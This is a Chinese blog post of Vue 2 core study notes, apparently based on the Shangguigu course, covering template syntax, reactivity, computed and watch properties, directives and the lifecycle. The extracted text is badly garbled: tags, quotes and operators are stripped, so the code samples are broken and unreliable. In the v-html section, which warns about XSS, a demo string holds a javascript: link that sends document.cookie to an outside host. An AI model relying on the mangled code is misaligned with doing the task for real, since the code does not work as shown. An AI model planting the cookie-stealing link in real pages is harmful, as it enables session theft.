ta的两种写法MVVM模型数据代理Object.defineProperty方法何为数据代理Vue中的数据代理

计算属性姓名案例_插值语法实现姓名案例_methods实现姓名案例_计算属性实现姓名案例_计算属性简写

监视属性天气案例天气案例_监视属性天气案例_深度监视天气案例_监视属性_简写姓名案例_watch实现

绑定样式条件渲染列表渲染基本列表key的原理列表过滤列表排序更新时的一个问题Vue监测数据改变的原理模拟一个数据监测Vue.set的使用Vue监测数据改变的原理_数组总结数据监视

收集表单数据过滤器内置指令v-text指令v-html指令v-cloak指令v-once指令v-pre指令

自定义指令自定义指令回顾一个DOM操作

hello各位小伙伴们前段时间学习了尚硅谷提供的Vue框架视频真心感觉挺不错的。

并记了相应的学习笔记包括Vue2以及Vue3,接下来的几篇文章就会发布这一系列的内容今天是第一篇也是Vue2学习的第一章Vue核心知识。

文章可以会代码的部分多于文字的部分因为我觉得有相应的实际操作可以更加能够理解对应的知识单纯的文字叠加可以会比较难理解。

Vue核心

1.想让Vue工作就必须创建一个Vue实例且要传入一个配置对象

2.root容器里的代码依然符合html规范只不过混入了一些特殊的Vue语法

6.{{xxx}}中的xxx要写js表达式且xxx可以自动读取到data中的所有属性

7.一旦data中的数据发生改变那么页面中用到该数据的地方也会自动更新

注意区分js表达式

src../js/vue.js/script/headbody!--

准备好一个容器

iddemoh1Hello{{name.toUpperCase()}}{{address}}/h1/divscript

typetext/javascript

//el用于指定当前Vue实例为哪个容器服务值通常为css选择器字符串。

data:{

//data中用于存储数据数据供el所指定的容器去使用值我们暂时先写成一个对象。

name:atguigu,address:北京}})/script/body

/htmlVue模板语法

写法{{xxx}}xxx是js表达式且可以直接读取到data中的所有属性。

2.指令语法

备注Vue中有很多的指令且形式都是v-???此处我们只是拿v-bind举个例子。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth1插值语法/h1h3你好{{name}}/h3hr/h1指令语法/h1a

v-bind:hrefschool.url.toUpperCase()

:hrefschool.url

xhello点我去{{school.name}}学习2/a/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:jack,school:{name:尚硅谷,url:http://www.atguigu.com,}}})/script

/html数据绑定

2.双向绑定(v-model)数据不仅能从data流向页面还可以从页面流向data。

1.双向绑定一般都应用在表单类元素上如input、select等

2.v-model:value

src../js/vue.js/script/headbody!--

准备好一个容器--div

如下代码是错误的因为v-model只能应用在表单类元素输入类元素上

--!--

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷}})/script

1.el有2种写法

(2).先创建Vue实例随后再通过vm.$mount(‘#root’)指定el的值。

2.data有2种写法

如何选择目前哪种写法都可以以后学习到组件时data必须使用函数式否则会报错。

由Vue管理的函数一定不要写箭头函数一旦写了箭头函数this就不再是Vue实例了。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth1你好{{name}}/h1/div/bodyscript

typetext/javascriptVue.config.productionTip

false

//第一种写法data:{name:尚硅谷}})console.log(v)v.$mount(#root)

//第二种写法

Vue({el:#root,//data的第一种写法对象式/*

data:{name:尚硅谷}

*///data的第二种写法函数式data(){console.log(,this)

//此处的this是Vue实例对象return{name:尚硅谷}}})/script

/htmlMVVM模型

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth1学校名称{{name}}/h1h1学校地址{{address}}/h1!--

h1测试一下1{{11}}/h1h1测试一下2{{$options}}/h1h1测试一下3{{$emit}}/h1h1测试一下4{{_c}}/h1

--/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,address:北京,}})console.log(vm)/script

/html数据代理

/title回顾Object.defineproperty方法/title/headbodyscript

typetext/javascript

{name:张三,sex:男,}Object.defineProperty(person,age,{//

value:18,//

//控制属性是否可以被删除默认值是false//当有人读取person的age属性时get函数(getter)就会被调用且返回值就是age的值get(){console.log(有人读取age属性了)return

number},//当有人修改person的age属性时set函数(setter)就会被调用且会收到修改的具体值set(value){console.log(有人修改了age属性且值是,value)number

value}})//

console.log(Object.keys(person))console.log(person)/script/body

/html何为数据代理

数据代理通过一个对象代理对另一个对象中属性的操作读/写--script

typetext/javascript

{y:200}Object.defineProperty(obj2,x,{get(){return

value}})/script/body

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性都指定一个getter/setter。

在getter/setter内部去操作读/写data中对应的属性。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth2学校名称{{name}}/h2h2学校地址{{address}}/h2/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,address:宏福科技园}})/script

/html事件处理

3.methods中配置的函数不要用箭头函数否则this就不是vm了

4.methods中配置的函数都是被Vue所管理的函数this的指向是vm

组件实例对象

src../js/vue.js/script/headbody!--

准备好一个容器--div

v-on:clickshowInfo点我提示信息/button

--button

clickshowInfo1点我提示信息1不传参/buttonbutton

clickshowInfo2($event,66)点我提示信息2传参/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,},methods:{showInfo1(event){//

console.log(event.target.innerText)//

console.log(this)

//此处的this是vmalert(同学你好)},showInfo2(event,number){console.log(event,number)//

console.log(event.target.innerText)//

console.log(this)

//此处的this是vmalert(同学你好)}}})/script

/html事件修饰符

5.self只有event.target是当前操作的元素时才触发事件

6.passive事件的默认行为立即执行无需等待事件回调执行完毕

!DOCTYPE

src../js/vue.js/scriptstyle*{margin-top:

20px;}.demo1{height:

click.preventshowInfo点我提示信息/a!--

阻止事件冒泡常用

click.stopshowInfo点我提示信息/button!--

--!--

click.prevent.stopshowInfo点我提示信息/a

--/div!--

click.onceshowInfo点我提示信息/button!--

--div

clickshowInfo点我提示信息/button/div!--

--ul

classlistli1/lili2/lili3/lili4/li/ul/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷},methods:{showInfo(e){alert(同学你好)//

console.log(e.target)},showMsg(msg){console.log(msg)},demo(){for

(let

{console.log(#)}console.log(累坏了)}}})/script

/html键盘事件

2.Vue未提供别名的按键可以使用按键原始的key值去绑定但注意要转为kebab-case短横线命名

(1).配合keyup使用按下修饰键的同时再按下其他键随后释放其他键事件才被触发。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

keydown.huicheshowInfo/div/bodyscript

typetext/javascriptVue.config.productionTip

false

在启动时生成生产提示。

Vue.config.keyCodes.huiche

Vue({el:#root,data:{name:尚硅谷},methods:

{showInfo(e){//

console.log(e.key,e.keyCode)console.log(e.target.value)}},})/script

/html计算属性

src../js/vue.js/script/headbody!--

准备好一个容器--div

br/br/全名span{{firstName}}-{{lastName}}/span/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{firstName:张,lastName:三}})/script

/html姓名案例_methods实现

src../js/vue.js/script/headbody!--

准备好一个容器--div

br/br/全名span{{fullName()}}/span/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{firstName:张,lastName:三},methods:

{fullName(){console.log(---fullName)return

this.firstName

2.原理底层借助了Objcet.defineproperty方法提供的getter和setter。

3.get函数什么时候执行

4.优势与methods实现相比内部有缓存机制复用效率更高调试方便。

5.备注

2.如果计算属性要被修改那必须写set函数去响应修改且set中要引起计算时依赖的数据发生改变。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{firstName:张,lastName:三,x:你好},methods:

{demo(){}},computed:{fullName:{//get有什么作用当有人读取fullName时get就会被调用且返回值就作为fullName的值//get什么时候调用1.初次读取fullName时。

2.所依赖的数据发生变化时。

get(){console.log(get被调用了)//

console.log(this)

当fullName被修改时。

set(value){console.log(set,value)const

arr

src../js/vue.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{firstName:张,lastName:三,},computed:{//完整写法/*

fullName:{get(){console.log(get被调用了)return

this.firstName

this.lastName},set(value){console.log(set,value)const

arr

*///简写fullName(){console.log(get被调用了)return

this.firstName

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickchangeWeather切换天气/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{isHot:true,},computed:{info(){return

this.isHot

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickchangeWeather切换天气/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{isHot:true,},computed:{info(){return

this.isHot

//初始化时让handler调用一下//handler什么时候调用当isHot发生改变时。

handler(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue)}}}

*/})vm.$watch(isHot,{immediate:true,

//初始化时让handler调用一下//handler什么时候调用当isHot发生改变时。

handler(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue)}})/script

/html天气案例_深度监视

(1).Vue自身可以监测对象内部值的改变但Vue提供的watch默认不可以

(2).使用watch时根据数据的具体结构决定是否采用深度监视。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickchangeWeather切换天气/buttonhr/h3a的值是:{{numbers.a}}/h3button

clicknumbers.a点我让a1/buttonh3b的值是:{{numbers.b}}/h3button

clicknumbers.b点我让b1/buttonbutton

clicknumbers

{a:666,b:888}彻底替换掉numbers/button{{numbers.c.d.e}}/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{isHot:true,numbers:{a:1,b:1,c:{d:{e:100}}}},computed:{info(){return

this.isHot

//初始化时让handler调用一下//handler什么时候调用当isHot发生改变时。

handler(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue)}},//监视多级结构中某个属性的变化/*

numbers.a:{handler(){console.log(a被改变了)}}

*///监视多级结构中所有属性的变化numbers:{deep:true,handler(){console.log(numbers改变了)}}}})/script

/html天气案例_监视属性_简写

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickchangeWeather切换天气/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{isHot:true,},computed:{info(){return

this.isHot

deep:true,//深度监视handler(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue)}},

*///简写/*

isHot(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue,this)}

*/}})//正常写法/*

vm.$watch(isHot,{immediate:true,

//初始化时让handler调用一下deep:true,//深度监视handler(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue)}})

*///简写/*

vm.$watch(isHot,(newValue,oldValue){console.log(isHot被修改了,newValue,oldValue,this)})

*//script

2.watch能完成的功能computed不一定能完成例如watch可以进行异步操作。

1.所被Vue管理的函数最好写成普通函数这样this的指向才是vm

2.所有不被Vue所管理的函数定时器的回调函数、ajax的回调函数等、Promise的回调函数最好写成箭头函数

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{firstName:张,lastName:三,fullName:张-三},watch:{firstName(val){setTimeout((){console.log(this)this.fullName

val

this.lastName},1000);},lastName(val){this.fullName

this.firstName

数组写法适用于要绑定多个样式个数确定名字也确定但不确定用不用。

style样式

/title绑定样式/titlestyle.basic{width:

400px;height:

linear-gradient(30deg,yellow,pink,orange,yellow);}.sad{border:

4px

gray;}.normal{background-color:

skyblue;}.atguigu1{background-color:

yellowgreen;}.atguigu2{font-size:

30px;text-shadow:2px

src../js/vue.js/script/headbody!--

准备好一个容器--div

绑定class样式--字符串写法适用于样式的类名不确定需要动态指定

--div

绑定class样式--数组写法适用于要绑定的样式个数不确定、名字也不确定

--div

绑定class样式--对象写法适用于要绑定的样式个数确定、名字也确定但要动态决定用不用

--div

:stylestyleArr{{name}}/div/div/bodyscript

typetext/javascriptVue.config.productionTip

falseconst

Vue({el:#root,data:{name:尚硅谷,mood:normal,classArr:[atguigu1,atguigu2,atguigu3],classObj:{atguigu1:false,atguigu2:false,},styleObj:{fontSize:

40px,color:red,},styleObj2:{backgroundColor:orange},styleArr:[{fontSize:

40px,color:blue,},{backgroundColor:gray}]},methods:

{changeMood(){const

Math.floor(Math.random()*3)this.mood

arr[index]}},})/script/html条件渲染

1.v-if

注意v-if可以和:v-else-if、v-else一起使用但要求结构不能被“打断”。

2.v-show

3.备注使用v-if的时元素可能无法获取到而使用v-show一定可以获取到。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

1h2你好/h2h2尚硅谷/h2h2北京/h2/template/div/bodyscript

typetext/javascriptVue.config.productionTip

falseconst

Vue({el:#root,data:{name:尚硅谷,n:0}})/script

/html列表渲染

src../js/vue.js/script/headbody!--

准备好一个容器--div

:keyindex{{p.name}}-{{p.age}}/li/ul!--

遍历对象

:keyindex{{char}}-{{index}}/li/ul!--

遍历指定次数

:keyindex{{index}}-{{number}}/li/ul/divscript

typetext/javascriptVue.config.productionTip

falsenew

Vue({el:#root,data:{persons:[{id:001,name:张三,age:18},{id:002,name:李四,age:19},{id:003,name:王五,age:20}],car:{name:奥迪A8,price:70万,color:黑色},str:hello}})/script

key是虚拟DOM对象的标识当数据发生变化时Vue会根据【新数据】生成【新的虚拟DOM】,

随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较比较规则如下

2.对比规则

2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作仅用于渲染列表用于展示

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

:keyindex{{p.name}}-{{p.age}}input

typetext/javascriptVue.config.productionTip

falsenew

Vue({el:#root,data:{persons:[{id:001,name:张三,age:18},{id:002,name:李四,age:19},{id:003,name:王五,age:20}]},methods:

{add(){const

{id:004,name:老刘,age:40}this.persons.unshift(p)}},})/script

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

:keyindex{{p.name}}-{{p.age}}-{{p.sex}}/li/ul/divscript

typetext/javascriptVue.config.productionTip

new

Vue({el:#root,data:{keyWord:,persons:[{id:001,name:马冬梅,age:19,sex:女},{id:002,name:周冬雨,age:20,sex:女},{id:003,name:周杰伦,age:21,sex:男},{id:004,name:温兆伦,age:22,sex:男}],filPerons:[]},watch:{keyWord:{immediate:true,handler(val){this.filPerons

p.name.indexOf(val)

Vue({el:#root,data:{keyWord:,persons:[{id:001,name:马冬梅,age:19,sex:女},{id:002,name:周冬雨,age:20,sex:女},{id:003,name:周杰伦,age:21,sex:男},{id:004,name:温兆伦,age:22,sex:男}]},computed:{filPerons(){return

-1})}}})

src../js/vue.js/script/headbody!--

准备好一个容器--div

:keyp.id{{p.name}}-{{p.age}}-{{p.sex}}input

typetext/javascriptVue.config.productionTip

falsenew

Vue({el:#root,data:{keyWord:,sortType:0,

//0原顺序

2升序persons:[{id:001,name:马冬梅,age:30,sex:女},{id:002,name:周冬雨,age:31,sex:女},{id:003,name:周杰伦,age:18,sex:男},{id:004,name:温兆伦,age:19,sex:男}]},computed:{filPerons(){const

arr

-1})//判断一下是否需要排序if(this.sortType){arr.sort((p1,p2){return

this.sortType

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickupdateMei更新马冬梅的信息/buttonulli

v-for(p,index)

:keyp.id{{p.name}}-{{p.age}}-{{p.sex}}/li/ul/divscript

typetext/javascriptVue.config.productionTip

falseconst

Vue({el:#root,data:{persons:[{id:001,name:马冬梅,age:30,sex:女},{id:002,name:周冬雨,age:31,sex:女},{id:003,name:周杰伦,age:18,sex:男},{id:004,name:温兆伦,age:19,sex:男}]},methods:

{updateMei(){//

//不奏效this.persons.splice(0,1,{id:001,name:马老师,age:50,sex:男})}}})

/script

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth2学校名称{{name}}/h2h2学校地址{{address}}/h2/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,address:北京,student:{name:tom,age:{rAge:40,sAge:29,},friends:[{name:jerry,age:35}]}}})/script

/html模拟一个数据监测

/titleDocument/title/headbodyscript

typetext/javascript

{name:尚硅谷,address:北京,}//创建一个监视的实例对象用于监视data中属性的变化const

obs

Observer(obj){//汇总对象中所有的属性形成一个数组const

keys

Object.keys(obj)//遍历keys.forEach((k){Object.defineProperty(this,k,{get(){return

obj[k]},set(val){console.log(${k}被改了我要去解析模板生成虚拟DOM.....我要开始忙了)obj[k]

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth1学校信息/h1h2学校名称{{school.name}}/h2h2学校地址{{school.address}}/h2h2校长是{{school.leader}}/h2hr/h1学生信息/h1button

clickaddSex添加一个性别属性默认值是男/buttonh2姓名{{student.name}}/h2h2

v-ifstudent.sex性别{{student.sex}}/h2h2年龄真实{{student.age.rAge}}对外{{student.age.sAge}}/h2h2朋友们/h2ulli

v-for(f,index)

:keyindex{{f.name}}--{{f.age}}/li/ul/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{school:{name:尚硅谷,address:北京,},student:{name:tom,age:{rAge:40,sAge:29,},friends:[{name:jerry,age:35},{name:tony,age:36}]}},methods:

{addSex(){//

Vue.set(this.student,sex,男)this.$set(this.student,sex,男)}}})/script

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth1学校信息/h1h2学校名称{{school.name}}/h2h2学校地址{{school.address}}/h2h2校长是{{school.leader}}/h2hr/h1学生信息/h1button

clickaddSex添加一个性别属性默认值是男/buttonh2姓名{{student.name}}/h2h2

v-ifstudent.sex性别{{student.sex}}/h2h2年龄真实{{student.age.rAge}}对外{{student.age.sAge}}/h2h2爱好/h2ulli

v-for(h,index)

:keyindex{{h}}/li/ulh2朋友们/h2ulli

v-for(f,index)

:keyindex{{f.name}}--{{f.age}}/li/ul/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{school:{name:尚硅谷,address:北京,},student:{name:tom,age:{rAge:40,sAge:29,},hobby:[抽烟,喝酒,烫头],friends:[{name:jerry,age:35},{name:tony,age:36}]}},methods:

{addSex(){//

Vue.set(this.student,sex,男)this.$set(this.student,sex,男)}}})/script

/html总结数据监视

Vue.set(targetpropertyName/indexvalue)

vm.$set(targetpropertyName/indexvalue)

1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set()

/title总结数据监视/titlestylebutton{margin-top:

10px;}/style!--

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickaddFriend在列表首位添加一个朋友/button

br/button

clickupdateFirstFriendName修改第一个朋友的名字为张三/button

br/button

clickupdateHobby修改第一个爱好为开车/button

br/button

clickremoveSmoke过滤掉爱好中的抽烟/button

br/h3姓名{{student.name}}/h3h3年龄{{student.age}}/h3h3

v-ifstudent.sex性别{{student.sex}}/h3h3爱好/h3ulli

v-for(h,index)

:keyindex{{h}}/li/ulh3朋友们/h3ulli

v-for(f,index)

:keyindex{{f.name}}--{{f.age}}/li/ul/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{student:{name:tom,age:18,hobby:[抽烟,喝酒,烫头],friends:[{name:jerry,age:35},{name:tony,age:36}]}},methods:

{addSex(){//

Vue.set(this.student,sex,男)this.$set(this.student,sex,男)},addFriend(){this.student.friends.unshift({name:jack,age:70})},updateFirstFriendName(){this.student.friends[0].name

张三},addHobby(){this.student.hobby.push(学习)},updateHobby(){//

this.student.hobby.splice(0,1,开车)//

Vue.set(this.student.hobby,0,开车)this.$set(this.student.hobby,0,开车)},removeSmoke(){this.student.hobby

this.student.hobby.filter((h){return

抽烟})}}})/script

typetext则v-model收集的是value值用户输入的就是value值。

若input

typeradio/则v-model收集的是value值且要给标签配置value值。

若input

1.没有配置input的value属性那么收集的就是checked勾选

(1)v-model的初始值是非数组那么收集的就是checked勾选

(2)v-model的初始值是数组那么收集的的就是value组成的数组

lazy失去焦点再收集数据

src../js/vue.js/script/headbody!--

准备好一个容器--div

valuewuhan武汉/option/selectbr/br/其他信息textarea

v-model.lazyuserInfo.other/textarea

br/br/input

hrefhttp://www.atguigu.com《用户协议》/abutton提交/button/form/div/bodyscript

typetext/javascriptVue.config.productionTip

falsenew

Vue({el:#root,data:{userInfo:{account:,password:,age:18,sex:female,hobby:[],city:beijing,other:,agree:}},methods:

{demo(){console.log(JSON.stringify(this.userInfo))}}})/script

定义对要显示的数据进行特定格式化后再显示适用于一些简单逻辑的处理。

1.注册过滤器Vue.filter(name,callback)

new

src../js/dayjs.min.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false//全局过滤器Vue.filter(mySlice,function(value){return

Vue({el:#root,data:{time:1621561377603,

{fmtTime(){return

dayjs(this.time).format(YYYY年MM月DD日

HH:mm:ss)}},methods:

dayjs(this.time).format(YYYY年MM月DD日

HH:mm:ss)}},//局部过滤器filters:{timeFormater(value,strYYYY年MM月DD日

HH:mm:ss){//

dayjs(value).format(str)}}})new

Vue({el:#root2,data:{msg:hello,atguigu!}})/script

/html内置指令

2.与插值语法的区别v-text会替换掉节点中的内容{{xx}}则不会。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,str:h3你好啊/h3}})/script

/htmlv-html指令

(1).v-html会替换掉节点中所有的内容{{xx}}则不会。

3.严重注意v-html有安全性问题

(1).在网站上动态渲染任意HTML是非常危险的容易导致XSS攻击。

(2).一定要在可信的内容上使用v-html永不要用在用户提交的内容上

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷,str:h3你好啊/h3,str2:a

hrefjavascript:location.hrefhttp://www.baidu.com?document.cookie兄弟我找到你想要的资源了快来/a,}})/script

/htmlv-cloak指令

1.本质是一个特殊属性Vue实例创建完毕并接管容器后会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

!DOCTYPE

/titlev-cloak指令/titlestyle[v-cloak]{display:none;}/style!--

引入Vue

srchttp://localhost:8080/resource/5s/vue.js/script/bodyscript

typetext/javascriptconsole.log(1)Vue.config.productionTip

false

Vue({el:#root,data:{name:尚硅谷}})/script

/htmlv-once指令

2.以后数据的改变不会引起v-once所在结构的更新可以用于优化性能。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

v-once初始化的n值是:{{n}}/h2h2当前的n值是:{{n}}/h2button

clickn点我n1/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{n:1}})/script

/htmlv-pre指令

2.可利用它跳过没有使用指令语法、没有使用插值语法的节点会加快编译。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

clickn点我n1/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{n:1}})/script

/html自定义指令

需求1定义一个v-big指令和v-text功能类似但会把绑定的数值放大10倍。

需求2定义一个v-fbind指令和v-bind功能类似但可以让其所绑定的input元素默认获取焦点。

自定义指令总结

2.指令名如果是多个单词要使用kebab-case命名方式不要用camelCase命名。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

idrooth2{{name}}/h2h2当前的n值是span

v-textn/span

typetext/javascriptVue.config.productionTip

false//定义全局指令/*

Vue.directive(fbind,{//指令与元素成功绑定时一上来bind(element,binding){element.value

binding.value},//指令所在元素**入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value

binding.value}})

Vue({el:#root,data:{name:尚硅谷,n:1},directives:{//big函数何时会被调用1.指令与元素成功绑定时一上来。

2.指令所在的模板被重新解析时。

/*

console.log(big)element.innerText

binding.value

*/big(element,binding){console.log(big,this)

console.log(big)element.innerText

binding.value

10},fbind:{//指令与元素成功绑定时一上来bind(element,binding){element.value

binding.value},//指令所在元素**入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value

/html回顾一个DOM操作

/titleDocument/titlestyle.demo{background-color:

typetext/javascript

document.getElementById(btn)btn.onclick

(){const

document.createElement(input)input.className

demoinput.value

(){alert(1)}document.body.appendChild(input)input.focus()//

input.parentElement.style.backgroundColor

skyblueconsole.log(input.parentElement)}/script/body

/html生命周期

3.生命周期函数的名字不可更改但函数的具体内容是程序员根据需求编写的。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

:style{opacity}欢迎学习Vue/h2/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{a:false,opacity:1},methods:

{},//Vue完成模板的解析并把初始的真实DOM元素放入页面后挂载完毕调用mountedmounted(){console.log(mounted,this)setInterval(()

{this.opacity

src../js/vue.js/script/headbody!--

准备好一个容器--div

v-textn/h2h2当前的n值是{{n}}/h2button

clickbye点我销毁vm/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

{add(){console.log(add)this.n},bye(){console.log(bye)this.$destroy()}},watch:{n(){console.log(n变了)}},beforeCreate()

{console.log(beforeCreate)},created()

{console.log(created)},beforeMount()

{console.log(beforeMount)},mounted()

{console.log(mounted)},beforeUpdate()

{console.log(beforeUpdate)},updated()

{console.log(updated)},beforeDestroy()

{console.log(beforeDestroy)},destroyed()

{console.log(destroyed)},})/script

/html总结生命周期

发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

2.beforeDestroy:

3.一般不会在beforeDestroy操作数据因为即便操作数据也不会再触发更新流程了。

!DOCTYPE

src../js/vue.js/script/headbody!--

准备好一个容器--div

:style{opacity}欢迎学习Vue/h2button

clickopacity

clickstop点我停止变换/button/div/bodyscript

typetext/javascriptVue.config.productionTip

false

Vue({el:#root,data:{opacity:1},methods:

{stop(){this.$destroy()}},//Vue完成模板的解析并把初始的真实DOM元素放入页面后挂载完毕调用mountedmounted(){console.log(mounted,this)this.timer

setInterval(()

{console.log(setInterval)this.opacity

0.01if(this.opacity

{clearInterval(this.timer)console.log(vm即将驾鹤西游了)},})/script

/html注意以上的部分.vue文件代码由于没有对应的.vue代码模板代码无法高亮所以选择了html格式